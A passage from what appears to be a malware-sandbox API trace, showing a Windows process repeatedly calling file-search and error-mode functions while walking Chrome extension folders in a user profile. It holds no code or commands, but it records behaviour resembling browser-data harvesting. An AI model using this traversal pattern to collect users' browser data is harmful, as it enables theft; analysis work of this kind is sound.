(dwNewMode=0x0, lpOldMode=0x6cfe900) returned 1 [0096.078] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe990) returned 1 [0096.079] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe950) returned 1 [0096.079] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe95c) returned 1 [0096.079] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe890) returned 1 [0096.079] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe88c) returned 1 [0096.079] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe91c) returned 1 [0096.079] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe8dc) returned 1 [0096.079] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe8e8) returned 1 [0096.079] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe81c) returned 1 [0096.079] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe818) returned 1 [0096.079] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0096.156] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0096.156] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0096.156] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0096.157] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0096.157] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0096.157] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe91c) returned 1 [0096.157] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe8dc) returned 1 [0096.157] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe8e8) returned 1 [0096.157] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe990) returned 1 [0096.157] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe950) returned 1 [0096.157] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe95c) returned 1 [0096.157] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0096.157] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0096.158] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0096.158] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe978) returned 1 [0096.158] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe974) returned 1 [0096.158] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0096.200] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0096.200] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0096.200] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe904) returned 1 [0096.210] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe900) returned 1 [0096.210] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe990) returned 1 [0096.210] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe950) returned 1 [0096.210] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe95c) returned 1 [0096.210] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe890) returned 1 [0096.211] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe88c) returned 1 [0096.211] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe91c) returned 1 [0096.211] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe8dc) returned 1 [0096.211] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe8e8) returned 1 [0096.211] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe91c) returned 1 [0096.211] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe8dc) returned 1 [0096.211] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe8e8) returned 1 [0097.565] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0097.565] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0097.566] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0097.566] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0097.566] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0097.567] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0097.567] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0097.568] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0097.568] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0097.569] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0097.569] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0097.570] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0097.570] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0097.570] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0097.571] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0097.571] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0097.572] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0097.572] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0097.573] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0097.573] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0097.579] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe4f8 | out: lpFindFileData=0x6cfe4f8) returned 1 [0097.579] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe4f8 | out: lpFindFileData=0x6cfe4f8) returned 1 [0097.579] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe4f8 | out: lpFindFileData=0x6cfe4f8) returned 1 [0097.579] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe4f8 | out: lpFindFileData=0x6cfe4f8) returned 0 [0097.579] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe780) returned 1 [0097.579] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe78c) returned 1 [0097.579] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe834) returned 1 [0097.579] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap", nBufferLength=0x105, lpBuffer=0x6cfe34c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap", lpFilePart=0x0) returned 0x6b [0097.579] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\*", lpFindFileData=0x6cfe55c | out: lpFindFileData=0x6cfe55c) returned 0x6fe97d8 [0097.580] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe56c | out: lpFindFileData=0x6cfe56c) returned 1 [0097.580] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe56c | out: lpFindFileData=0x6cfe56c) returned 1 [0097.580] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe56c | out: lpFindFileData=0x6cfe56c) returned 0 [0097.580] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe7f4) returned 1 [0097.580] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe800) returned 1 [0097.580] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi", nBufferLength=0x105, lpBuffer=0x6cfe364, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi", lpFilePart=0x0) returned 0x6b [0097.580] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe7a8) returned 1 [0097.580] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi"), fInfoLevelId=0x0, lpFileInformation=0x6cfe824 | out: lpFileInformation=0x6cfe824*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee861190, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee865fb0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee865fb0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0097.580] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe7a4) returned 1 [0097.580] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe834) returned 1 [0097.580] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi", nBufferLength=0x105, lpBuffer=0x6cfe34c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi", lpFilePart=0x0) returned 0x6b [0097.580] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\*", lpFindFileData=0x6cfe55c | out: lpFindFileData=0x6cfe55c) returned 0x6fe97d8 [0097.580] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe56c | out: lpFindFileData=0x6cfe56c) returned 1 [0097.580] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe56c | out: lpFindFileData=0x6cfe56c) returned 1 [0097.580] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe56c | out: lpFindFileData=0x6cfe56c) returned 0 [0097.580] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe7f4) returned 1 [0097.580] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe800) returned 1 [0097.580] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0", nBufferLength=0x105, lpBuffer=0x6cfe2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0", lpFilePart=0x0) returned 0x71 [0097.580] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe734) returned 1 [0097.580] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0"), fInfoLevelId=0x0, lpFileInformation=0x6cfe7b0 | out: lpFileInformation=0x6cfe7b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee1a0950, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee852730, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee852730, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0097.581] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe730) returned 1 [0097.581] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe7c0) returned 1 [0097.581] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0", nBufferLength=0x105, lpBuffer=0x6cfe2d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0", lpFilePart=0x0) returned 0x71 [0097.581] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\*", lpFindFileData=0x6cfe4e8 | out: lpFindFileData=0x6cfe4e8) returned 0x6fe97d8 [0097.581] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe4f8 | out: lpFindFileData=0x6cfe4f8) returned 1 [0097.581] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe4f8 | out: lpFindFileData=0x6cfe4f8) returned 1 [0097.581] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe4f8 | out: lpFindFileData=0x6cfe4f8) returned 1 [0097.581] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe4f8 | out: lpFindFileData=0x6cfe4f8) returned 1 [0097.581] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe4f8 | out: lpFindFileData=0x6cfe4f8) returned 1 [0097.581] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe4f8 | out: lpFindFileData=0x6cfe4f8) returned 1 [0097.581] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe4f8 | out: lpFindFileData=0x6cfe4f8) returned 1 [0097.581] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe4f8 | out: lpFindFileData=0x6cfe4f8) returned 1 [0097.581] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe4f8 | out: lpFindFileData=0x6cfe4f8) returned 1 [0097.581] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe4f8 | out: lpFindFileData=0x6cfe4f8) returned 0 [0097.581] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe780) returned 1 [0097.581] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe78c) returned 1 [0097.581] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales", nBufferLength=0x105, lpBuffer=0x6cfe27c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales", lpFilePart=0x0) returned 0x7a [0097.581] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6c0) returned 1 [0097.582] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales"), fInfoLevelId=0x0, lpFileInformation=0x6cfe73c | out: lpFileInformation=0x6cfe73c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee1acca0, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee56eb40, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee56eb40, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x3000)) returned 1 [0097.582] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6bc) returned 1 [0097.582] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe74c) returned 1 [0097.582] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales", nBufferLength=0x105, lpBuffer=0x6cfe264, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales", lpFilePart=0x0) returned 0x7a [0097.582] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\*", lpFindFileData=0x6cfe474 | out: lpFindFileData=0x6cfe474) returned 0x6fe97d8 [0097.582] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.582] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.582] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.582] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.582] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.582] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.583] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.583] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.583] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.583] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.583] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.583] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.583] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.583] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.583] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.583] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.583] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.583] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.583] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.583] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.583] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.583] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.583] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.584] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.584] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.584] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.584] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.584] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.584] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.584] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.584] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.584] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.584] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.584] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.584] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.584] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.584] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.584] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.584] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.584] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.585] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.585] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.585] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.585] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.585] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.585] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.585] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.585] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.585] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.585] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.585] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.585] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.585] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.585] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.585] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.585] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.585] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.586] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.586] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.586] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.586] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.586] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.586] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.586] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.586] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.586] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.586] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.586] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.586] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.586] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 1 [0097.586] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe484 | out: lpFindFileData=0x6cfe484) returned 0 [0097.587] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe70c) returned 1 [0097.587] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe718) returned 1 [0097.587] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af", nBufferLength=0x105, lpBuffer=0x6cfe208, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af", lpFilePart=0x0) returned 0x7d [0097.587] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe64c) returned 1 [0097.587] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af"), 